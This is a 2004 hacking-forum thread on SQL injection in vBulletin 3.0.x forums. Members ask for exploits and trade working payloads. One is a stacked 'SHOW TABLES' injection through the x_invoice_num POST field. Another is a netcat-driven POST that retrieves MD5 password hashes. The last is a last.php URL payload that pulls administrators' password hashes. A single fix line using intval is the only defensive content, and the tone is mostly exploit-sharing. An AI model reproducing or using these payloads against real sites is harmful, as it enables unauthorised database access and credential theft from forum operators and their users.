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www.waraxe.us Forum Index -> Sql injection -> Sql Inject In VB 3.0.x !!
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Sql Inject In VB 3.0.x !!
PostPosted: Thu Sep 16, 2004 8:18 am Reply with quote
Zilly
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Joined: Sep 10, 2004
Posts: 7




hi every body ,, thanx for the nice forums i like it Smile

any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
Very Happy well, its sql inject,, i'm studying it this days and i kinda wana help in this,

how to Execute this security hole and another important thing is how to fix it ??

thats all folks Embarassed

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Re: Sql Inject In VB 3.0.x !!
PostPosted: Thu Sep 16, 2004 10:39 am Reply with quote
Heintz
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Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




Zilly wrote:
hi every body ,, thanx for the nice forums i like it Smile

any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
Very Happy well, its sql inject,, i'm studying it this days and i kinda wana help in this,

how to Execute this security hole and another important thing is how to fix it ??

thats all folks Embarassed


strange thing is that intval()- is used to get the value, but not used before passing to query Question .
anyway the trick is to "continue" (in this case here) sql query.

query ends like this: userid = " . $item_number[1]

so you POST your value to item_number. name of it is x_invoice_num and its value is something like valuea_valueb_valuec, ju must manipulate valueb, lets assume you posted something like this:
Code:
1; SHOW TABLES


then (depends on viewing part of script) you should see somewhere on the page, a list of tables that are in that database. and with little thinking you make more "useful" queries that this Smile
hint: mysql manual

fixing:
Code:

$item_number[1] = abs(intval($item_number[1]));

add this line somewhere before the query, and it should do it

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AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
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PostPosted: Fri Sep 17, 2004 5:41 am Reply with quote
Zilly
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Joined: Sep 10, 2004
Posts: 7




thanx Heintz,, well i know some how that the file that contains the sql inject is authorize.php

what i'm tryin to do now is to inject but can i ask a question ??

when we use the authorize.php ?

i mean in normal not injecting ??

and thanx again ,,

Zilly

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PostPosted: Fri Sep 17, 2004 4:13 pm Reply with quote
zer0-c00l
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Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




how to explore this bug?
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PostPosted: Fri Sep 17, 2004 5:35 pm Reply with quote
hebe
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Joined: Sep 04, 2004
Posts: 59




is there any exploit for this
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PostPosted: Fri Sep 17, 2004 8:49 pm Reply with quote
SteX
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Joined: May 18, 2004
Posts: 181
Location: Serbia




Searching for exploits..

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PostPosted: Sun Sep 19, 2004 8:42 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I have played a little bit with that security bug and got some results.
Will share them tomorrow in this thread, so stay tuned!!! Very Happy
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PostPosted: Wed Sep 22, 2004 8:36 pm Reply with quote
Zilly
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Joined: Sep 10, 2004
Posts: 7




wow thanx man

my brain has been exploed LOL Very Happy

this time really i will not change the channel Very Happy Very Happy

Zilly

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PostPosted: Tue Nov 09, 2004 6:48 pm Reply with quote
Zilly
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Joined: Sep 10, 2004
Posts: 7




after searching and reading and like this stuff
i found that i can excute this expliot by netcat
ex:
nc -n -v ***.***.***.*** 80
then i have to enter some POST command
after that i'll get the MD5 hash password ..

okay now we are near ... Smile

and i need help also ..

Very Happy

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PostPosted: Fri Nov 12, 2004 6:10 pm Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




new SQL injection found in VBulletin Forums 3.0.x

the Vulnerabilite found in last.php, last 10 topics hack.


last.php?fsel=,user.password%20as%20title,user.%20
%20%20%20username%20as%20lastposter%20FROM%20user,
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201


enjoy
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Sql Inject In VB 3.0.x !!
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